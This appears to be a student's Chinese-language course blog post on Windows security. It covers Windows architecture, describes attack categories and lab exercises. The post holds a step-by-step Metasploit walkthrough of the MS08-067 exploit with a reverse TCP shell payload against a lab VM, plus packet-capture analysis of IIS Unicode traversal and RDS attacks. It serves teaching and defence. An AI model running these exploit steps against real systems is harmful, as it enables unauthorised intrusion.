zoukankan      html  css  js  c++  java
  • 20199327 2019-2020-2 《网络攻防实践》第七周作业

    理论学习

    1. 基本框架概述

    Windows操作系统内核的基本模块:

    • Windows执行体: 即Windows内核核心文件ntoskrnl.exe的上层接口, 包含基本的操作系统内核服务;

    • Windows内核体: 即Windows内核核心文件moskrnl.exe中酌数实现与硬件体系结 构支持代码, 实现底层的操作系统功能;

    • 设备驱动程序: 包括将用户I/O操作映射为特定硬件设备I/O请求的硬件设备驱动程序, 以及文件系统与网络设备驱动程序;

    • 硬件抽象层: 即hal.dll文件, 是用于屏蔽Windows 内核与平台硬件差异性的底层代码;

    • Windows窗口与图形界面接口内核实现代码: 即win32k.sys文件;

    Windows橾作系统布用户态的代码模块:

    • 系统支持进程: Windows开机自动启动的系统内建服务进程;

    • 环境子系统服务进程: 为操作系统运行环境提供支待的服务进程;

    • 服务进程:通过Windows的服务管理机制所启动的一 系列系统及网络服务;

    • 用户应用软件: 在用户态执行的各类用户应用软件;

    • 核心子系统DLL:即kemel32.dll/user32.dll/gdi32.dll/advapi32.dll等动态连接库文件

    Windows操作系统内核中实现了如下的核心机制:

    • Windows内存管理机制:Windows的虚拟内存空间分为系统核心内存区间与用户内存区间两部分;

    • Windows文件管理机制:NTFS文件系统从ACL访问控制列表来保证文件资源读/写的安全性,较FAT更加安全,此外具有更高的性能、可靠性和磁盘利用效率;

    • Windows注册表管理机制:Windows系统注册表在作为系统全局配置、 用户和应用软件配置信息的存储仓库,在 Windows系统配置和控制方面承担着关键角色;

    • Windows的网络机制:各种网卡硬件的设备驱动程序,一般由第三方硬件厂商开发并提供,处于OSl参考模型的物理层;

    NDIS (Network Driver Interface Specification)库及miniport驱动程序,位千OSI链路层,为各种不同的网卡适配器驱动程序和TDI传输层之间构建了一个封装接口

    TDI,传输层,将网络请求格式化成IRP,以及申请网络地址和数据通信

    网络API DLL及TDI客户端,会话层和表示层,独立于具体协议提供网络交互和实现方式

    网络应用程序与服务进程,对应OSI应用层,同沉使用各类网络API DLL来实现网络交互与通信功能

    2. 安全体系结构与机制

    Windows操作系统的安全设计目标是采用一致的,健壮的,基于对象的安全模型,支持一台机器上多个用户之间安全地共享进程、内存、设备、文件及网络等各种类型的系统资源,来满足商业用户的安全需求。

    Windows系统安全体系结构示意图如下,最为核心的是SRM(Security Reference Monitor)安全引用监控器,以及位于用户态的LSASS(Local Security Authority Subsystem Service)安全服务,他们与Winlogon/Netlogon及Eventlog等服务一起,实现了对主体用户的身份认证机制、对所有资源对象的访问控制机制,以及对访问的安全审计机制

    • Windows身份认证机制

    安全主体:用户、用户组、计算机,以SID来标识。

    身份认证方式:本地身份认证(本地系统登录)和网络身份认证(远程网络访问)

    过程:Winlogon进程、GINA图形化登录窗口与LSASS服务通过协作来完成本地身份认证过程。
    Windows授权和访问控制机制

    Windows的授权与访问控制机制是基于引用监控器模型,由内核中的SRM模块与用户态的LSASS服务共同来实施,由SRM作为安全主体访问对象资源时的中介,根据设定的访问控制列表进行授权访问。

    • Windows安全审计机制

    g过程:LSASS服务保存审计策略;SRM访问授权时也会审计记录,发送给LSASS服务进行补充,将这些审计记录发送给EventLog事件日志服务;EventLog服务最后将日志写进日志文件。

    • Windows的其他安全机制

    Windows安全中心,在此集成的防火墙、补丁自动更新、病毒防护。

    IPSec加密与验证机制,EFS加密文件系统等等。

    3.远程安全攻防技术

    远程口令猜测与破解攻击: 远程渗透攻击Windows 系统最简单的方法仍然是猜测 或破解出系统的登录口令

    攻击Windows网络服务:windows存在着可导致远程代码执行的高危性安全漏洞, 攻击者也一直在利用这些漏洞来对Windows网络服务实施远程渗透攻击, 从而得到Windows系统 的访问权。

    攻击 Windows客户端及用户:针对Web浏览器、 第三方应用软件的客户端渗透攻击变得非常流行,此外,攻击者还会结合社会工程学技巧诱骗终端用户来帮助他们执行伪装目的的恶意代码或流氓软件

    4. Windows本地安全攻防技术

    • windows本地特权提升

    溢出提权、windows错误系统配置、计划任务提权

    措施:及时打补丁、及时跟进厂家的安全警告

    • windows敏感信息窃取

    windows系统口令字密文提取技术、windows系统口令字破解技术、用户敏感信息窃取等
    措施:使用安全度高、能抵挡破解的口令

    • windows消灭踪迹

    关闭审计功能、清理事件日志

    措施:实现配置好系统审计和网络服务审计功能,并将日志传输到安全服务器中。

    • 远程控制与后门

    向受控主机中植入第三方的远程控制与后门程序

    措施:采用一些后门检测软件来尝试发现攻击者隐藏的后门程序。

    理论实践

    实践一

    KALI 192.168.200.3
    win2K 192.168.200.124

    实验已经确保虚拟机互相ping通,

    1.kali中输入msfconsole启动kali里面的msfconsole

    • 选择渗透攻击模块
      输入search ms08_067查看漏洞ms08_067的详细信息

    输入use exploit/windows/smb/ms08_067_netapi选择针对MS08_067漏洞的渗透攻击模块。

    • 选择攻击负载模块

    输入show payloads列举出所有适用的负载模块,如图所示,

    然后执行set payload generic/shell_reverse_tcp选择你要用的攻击负载模块。这里我选择了3号(TCP反转)。

    • 配置参数

    使用show options 查看需要设置的参数,如图,可见需要配置靶机和攻击机IP:

    执行set LHOST 192.168.200.3设置攻击机为kali,set RHOST 192.168.200.124设置靶机为win2k,再show options查看是否配置成功,如图:

    上一次攻击没有成功,又重新配置了下

    这里可能会用到show targets、`set target [number]配置靶机的操作系统及版本,我这里默认选择的是0号(自动分配),所以不再配置。

    • 开始渗透攻击

    输入exploit开始攻击,并输入ipconfig查看靶机IP,与真实IP一致,验证了本次渗透攻击已经成功。

    实践二

    1.首先用wireshark打开那个.log文件。有很多http报文,使用wireshark自带的统计工具,点击统计->http->请求。就会得到下图。

    网页服务器下载网页到本地缓存,突出的一部分应该就是这次的攻击代码了。而其他的都是一些网页gif图片,但未按时间顺序。

    2.设置限定条件为:ip.addr==172.16.1.106 and http。如下图。

    我们发现了如下一段。这个boot.ini像是一个配置文件。查阅有关资料,我们得知这是NT系统的启动文件。而前面的..%c0af..啥的像是个路径。查阅资料后得知,这是"/"的Unicode编码。这是个IIS4和5存在的一个漏洞。利用扩展 UNICODE 字元取代"/"和""而能利用"../"目录遍历的漏洞。

    3.攻击者试图向服务器获取一个msadcs.dll文件

    4.攻击者利用这个dll存在RDS漏洞,输入了个数据查询语句进行SQL注入攻击。根据ADM!ROX..以及那个mdb。我们可以通过百度查询到它是通过国外安全研究人员(rain forest puppy)编写的msadc(2).pl渗透攻击代码发起的。

    5.下载了一些文件吗?

    6.连接上6969端口,获得了访问权限

    7.提升权限

    防止这种攻击的方法:

    • 1.为这些漏洞打上补丁;

    • 2.禁用用不着的 RDS 等服务;

    • 3.防火墙封禁网络内部服务器发起的连接;

    • 4.为 web server 在单独的文件卷上设置虚拟根目录;

    • 5.使用 NTFS 文件系统,因为 FAT 几乎不提供安全功能;

    • 6.使用 IIS Lockdown 和 URLScan 等工具加强 web server

    实践三

    在实践1的基础上,wireshark实时监听经过网卡的数据包。从下图可以看出攻击者ip地址,端口,靶机ip地址,端口,时间等信息。

    tcp三次握手包,建立连接后,从下图中我们发现攻击机向靶机发了许多SMB协议包。而MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的。所以据此可以推断出,是利用这个漏洞攻击的

    在exploit攻击后,可以在报文中看到基本明文传输的内容

    问题

    • 第一次进行实践一时未成功

      具体原因:
      配置没注意细节,有小细节并未注意,重新进行了配置;
      应该是虚拟机上次挂起,实践完并未有尽行结束。再次重新开启靶机即可;
    • 实践二需要查的问题太多。。。

    总结

    通过这一章节了解了Windows操作系统的结构和安全体系,并通过实践学习了windows渗透攻击的技术。分析攻击时虽然开始真的无从下手,慢慢查询摸索,参阅他人博客和知识帖,找出思路。

    参考

    MS08-067漏洞原理及详尽分析过程
    Windows常见漏洞与分析;
    boot.ini的相关知识;
    冯文浩的博客;

  • 相关阅读:
    L9,a cold welcome
    别说你不知道java中的包装类,wrapper type,以及容易在自动拆箱中出现的问题
    java导出和读取excel数据
    简单实用句型更新
    PAT1027
    生成英语单词
    c# 操作Word总结【转】
    压缩分卷
    VS2010中,无法嵌入互操作类型“……”,请改用适用的接口的解决方法
    HOW TO:使用 Visual C# .NET 打印 RichTextBox 控件的内容
  • 原文地址:https://www.cnblogs.com/waxxx/p/12711154.html
Copyright © 2011-2022 走看看